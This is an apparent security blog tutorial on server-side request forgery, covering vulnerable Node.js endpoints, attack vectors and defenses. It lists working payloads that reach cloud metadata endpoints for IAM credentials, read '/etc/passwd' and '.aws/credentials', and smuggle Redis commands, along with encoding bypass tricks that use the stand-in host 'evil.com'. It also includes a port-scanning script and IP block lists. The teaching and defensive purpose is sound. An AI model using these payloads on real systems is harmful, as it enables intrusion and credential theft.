Back to Blog
Web Security

SSRF Attacks Explained: The Internal Network Threat

AliceSec Team
3 min read

Server-Side Request Forgery (SSRF) turns your application into an attack proxy. Instead of attacking your server directly, attackers trick it into making requests on their behalf—accessing internal resources that should never be reachable from the internet.

The 2019 Capital One breach demonstrated SSRF's devastating potential: an attacker exploited SSRF to access AWS metadata services, steal IAM credentials, and exfiltrate 100+ million customer records. Capital One faced over $80 million in fines. In 2025, SSRF remains in OWASP's Top 10 as cloud architectures expand the attack surface.

How SSRF Works

SSRF occurs when an application fetches remote resources based on user input without proper validation:

javascript
// VULNERABLE - User controls the URL
app.get('/api/fetch-url', async (req, res) => {
  const { url } = req.query;

  // Attacker can make the server request ANY URL
  const response = await fetch(url);
  const data = await response.text();

  res.send(data);
});

Normal use: /api/fetch-url?url=https://example.com/data.json

Attack: /api/fetch-url?url=http://169.254.169.254/latest/meta-data/

The server's request to the AWS metadata endpoint succeeds because it originates from within AWS—not from the internet.

Attack Vector 1: Cloud Metadata Services

Every major cloud provider exposes instance metadata at well-known internal addresses:

AWS IMDSv1

text
# Get instance identity
http://169.254.169.254/latest/meta-data/

# Get IAM credentials (the prize)
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "..."
}

Google Cloud

text
# Requires header: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure

text
# Requires header: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01

DigitalOcean

text
http://169.254.169.254/metadata/v1/

Attack Vector 2: Internal Service Discovery

SSRF can probe internal networks to discover services:

text
# Scan for internal services
http://localhost:6379/           # Redis
http://localhost:27017/          # MongoDB
http://localhost:9200/           # Elasticsearch
http://localhost:5432/           # PostgreSQL
http://localhost:3306/           # MySQL
http://internal-api.local/       # Internal APIs
http://10.0.0.1/                  # Gateway/router
http://192.168.1.0/24            # Internal network scan

Port Scanning via Response Time

Even without response content, timing differences reveal open ports:

javascript
// Attacker script
async function scanPort(target, port) {
  const start = Date.now();
  try {
    await fetch(`http://vulnerable-app.com/api/fetch-url?url=http://${target}:${port}/`);
  } catch {}
  const elapsed = Date.now() - start;

  // Fast timeout = port closed
  // Slow response = port open or filtered
  return { port, elapsed };
}

Attack Vector 3: Protocol Smuggling

Some SSRF vulnerabilities allow protocol switching:

File Protocol

text
# Read local files
file:///etc/passwd
file:///proc/self/environ
file:///home/app/.aws/credentials

Gopher Protocol

text
# Send raw data to internal services (Redis example)
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a

# This sends "INFO" command to Redis

Dict Protocol

text
# Query internal services
dict://127.0.0.1:6379/INFO

Attack Vector 4: DNS Rebinding

Bypass allowlists by manipulating DNS resolution:

text
1. Attacker owns evil.com
2. First DNS query: evil.com → 1.2.3.4 (passes allowlist)
3. Server validates URL, sees external IP
4. DNS TTL expires
5. Second query: evil.com → 169.254.169.254 (internal!)
6. Server fetches internal resource

Defense-Evading Techniques

text
# Decimal IP encoding
http://2852039166/           # = 169.254.169.254

# Octal encoding
http://0251.0376.0251.0376/

# Hex encoding
http://0xa9fea9fe/

# IPv6 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/

# Mixed encoding
http://169.254.169.254.xip.io/
http://169.254.169.254.nip.io/

# URL parsing tricks
http://evil.com@169.254.169.254/
http://169.254.169.254#@evil.com/

Real-World SSRF Patterns

Pattern 1: Webhook Handlers

javascript
// VULNERABLE - User specifies webhook URL
app.post('/api/webhooks', async (req, res) => {
  const { webhookUrl, event } = req.body;

  // Attacker provides: webhookUrl = "http://169.254.169.254/..."
  await fetch(webhookUrl, {
    method: 'POST',
    body: JSON.stringify({ event, timestamp: Date.now() })
  });

  res.json({ success: true });
});

Pattern 2: URL Preview/Unfurling

javascript
// VULNERABLE - Fetch URL metadata for previews
app.get('/api/preview', async (req, res) => {
  const { url } = req.query;

  const response = await fetch(url);
  const html = await response.text();

  // Parse OpenGraph tags for preview card
  const title = html.match(/<meta property="og:title" content="([^"]+)"/)?.[1];
  const image = html.match(/<meta property="og:image" content="([^"]+)"/)?.[1];

  res.json({ title, image });
});

Pattern 3: PDF Generation

javascript
// VULNERABLE - HTML to PDF with external resources
app.post('/api/generate-pdf', async (req, res) => {
  const { htmlContent } = req.body;

  // If htmlContent contains: <img src="http://169.254.169.254/...">
  // The PDF generator fetches the internal URL
  const pdf = await generatePDF(htmlContent);

  res.contentType('application/pdf').send(pdf);
});

Pattern 4: Image Processing

javascript
// VULNERABLE - Fetch and resize remote images
app.get('/api/resize-image', async (req, res) => {
  const { imageUrl, width, height } = req.query;

  // Attacker provides internal URL
  const response = await fetch(imageUrl);
  const buffer = await response.buffer();

  const resized = await sharp(buffer)
    .resize(parseInt(width), parseInt(height))
    .toBuffer();

  res.contentType('image/jpeg').send(resized);
});

Defense Strategy 1: URL Validation

Basic Allowlist

javascript
const ALLOWED_HOSTS = [
  'api.example.com',
  'cdn.example.com',
  'storage.googleapis.com'
];

function isAllowedUrl(urlString) {
  try {
    const url = new URL(urlString);

    // Only allow HTTPS
    if (url.protocol !== 'https:') {
      return false;
    }

    // Check against allowlist
    if (!ALLOWED_HOSTS.includes(url.hostname)) {
      return false;
    }

    return true;
  } catch {
    return false;
  }
}

app.get('/api/fetch', async (req, res) => {
  const { url } = req.query;

  if (!isAllowedUrl(url)) {
    return res.status(400).json({ error: 'URL not allowed' });
  }

  const response = await fetch(url);
  res.send(await response.text());
});

IP Address Blocking

javascript
import { isIP } from 'net';
import dns from 'dns/promises';

const BLOCKED_IP_RANGES = [
  /^127\./,                          // Localhost
  /^10\./,                           // Private Class A
  /^172\.(1[6-9]|2[0-9]|3[0-1])\./,  // Private Class B
  /^192\.168\./,                     // Private Class C
  /^169\.254\./,                     // Link-local (metadata!)
  /^0\./,                            // "This" network
  /^::1$/,                           // IPv6 localhost
  /^fc00:/,                          // IPv6 private
  /^fe80:/,                          // IPv6 link-local
];

function isBlockedIP(ip) {
  return BLOCKED_IP_RANGES.some(pattern => pattern.test(ip));
}

async function validateUrl(urlString) {
  const url = new URL(urlString);

  // Resolve hostname to IP
  const addresses = await dns.resolve4(url.hostname).catch(() => []);

  // Check if any resolved IP is blocked
  for (const ip of addresses) {
    if (isBlockedIP(ip)) {
      throw new Error(`Blocked IP address: ${ip}`);
    }
  }

  return url;
}

Defense Strategy 2: Network-Level Controls

Cloud Metadata Protection

AWS: Enable IMDSv2 (Requires Token)

bash
# Require IMDSv2 for all instances
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

GCP: Disable Legacy Metadata

bash
gcloud compute instances add-metadata INSTANCE_NAME \
  --metadata=disable-legacy-endpoints=true

Network Policies

yaml
# Kubernetes NetworkPolicy - Block metadata access
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
spec:
  podSelector: {}
  policyTypes:
    - Egress
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 169.254.169.254/32  # Block metadata
              - 10.0.0.0/8          # Block internal
              - 172.16.0.0/12
              - 192.168.0.0/16

Defense Strategy 3: Request Isolation

Proxy Through Dedicated Service

javascript
// Dedicated fetch service with restricted network
// Runs in isolated network segment without internal access

// main-app/api/fetch.js
app.get('/api/fetch', async (req, res) => {
  const { url } = req.query;

  // Proxy to isolated fetch service
  const response = await fetch(`http://fetch-service/fetch?url=${encodeURIComponent(url)}`);
  res.send(await response.text());
});

// fetch-service/index.js (runs in isolated network)
app.get('/fetch', async (req, res) => {
  const { url } = req.query;

  // This service has no access to internal network
  // Even if SSRF occurs, damage is limited
  const response = await fetch(url);
  res.send(await response.text());
});

Serverless Functions

javascript
// AWS Lambda in isolated VPC
// lambda/fetch-external.js
export const handler = async (event) => {
  const { url } = event.queryStringParameters;

  // Lambda runs in VPC without internal network access
  const response = await fetch(url);

  return {
    statusCode: 200,
    body: await response.text()
  };
};

Defense Strategy 4: Response Validation

javascript
async function safeFetch(url, options = {}) {
  // Validate URL first
  const validatedUrl = await validateUrl(url);

  const response = await fetch(validatedUrl, {
    ...options,
    // Don't follow redirects automatically
    redirect: 'manual',
    // Set timeout
    signal: AbortSignal.timeout(5000)
  });

  // Check for redirects to internal resources
  if (response.status >= 300 && response.status < 400) {
    const location = response.headers.get('location');
    if (location) {
      // Validate redirect target
      await validateUrl(location);
      // Only then follow
      return fetch(location, options);
    }
  }

  // Validate content type
  const contentType = response.headers.get('content-type');
  const allowedTypes = ['application/json', 'text/html', 'image/'];
  if (!allowedTypes.some(t => contentType?.includes(t))) {
    throw new Error('Unexpected content type');
  }

  return response;
}

Testing for SSRF

Manual Testing Payloads

text
# Cloud metadata
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/metadata/instance

# Localhost variations
http://localhost/
http://127.0.0.1/
http://127.1/
http://[::1]/
http://0.0.0.0/

# Internal network
http://192.168.0.1/
http://10.0.0.1/
http://172.16.0.1/

# Protocol variations
file:///etc/passwd
gopher://127.0.0.1:6379/
dict://127.0.0.1:6379/

# Bypass techniques
http://169.254.169.254.xip.io/
http://0xa9fea9fe/
http://2852039166/

Automated Testing

bash
# Using ffuf for SSRF testing
ffuf -u "http://target.com/api/fetch?url=FUZZ" -w ssrf-payloads.txt

# Using Burp Collaborator or interactsh
interactsh-client

# Then use the generated URL as SSRF target
curl "http://target.com/api/fetch?url=http://abc123.interact.sh"

SSRF Prevention Checklist

URL Validation

  • [ ] Allowlist permitted hosts when possible
  • [ ] Block private IP ranges and localhost
  • [ ] Resolve DNS before making requests
  • [ ] Validate after DNS resolution (prevent rebinding)
  • [ ] Reject non-HTTP(S) protocols

Network Controls

  • [ ] Enable IMDSv2 on AWS (require tokens)
  • [ ] Use network policies to block metadata access
  • [ ] Run URL-fetching code in isolated network segments
  • [ ] Use egress proxies with logging

Application Controls

  • [ ] Don't follow redirects automatically
  • [ ] Validate redirect targets
  • [ ] Set request timeouts
  • [ ] Validate response content types
  • [ ] Log all outbound requests

Monitoring

  • [ ] Alert on requests to metadata endpoints
  • [ ] Monitor for unusual internal network traffic
  • [ ] Log and analyze outbound request patterns

Practice SSRF Attacks

Understanding SSRF from the attacker's perspective helps you build better defenses. Try our SSRF challenges to practice these techniques in a safe environment.

---

SSRF techniques evolve with cloud services. This guide will be updated as new attack vectors emerge. Last updated: December 2025.

Stay ahead of vulnerabilities

Weekly security insights, new challenges, and practical tips. No spam.

Unsubscribe anytime. No spam, ever.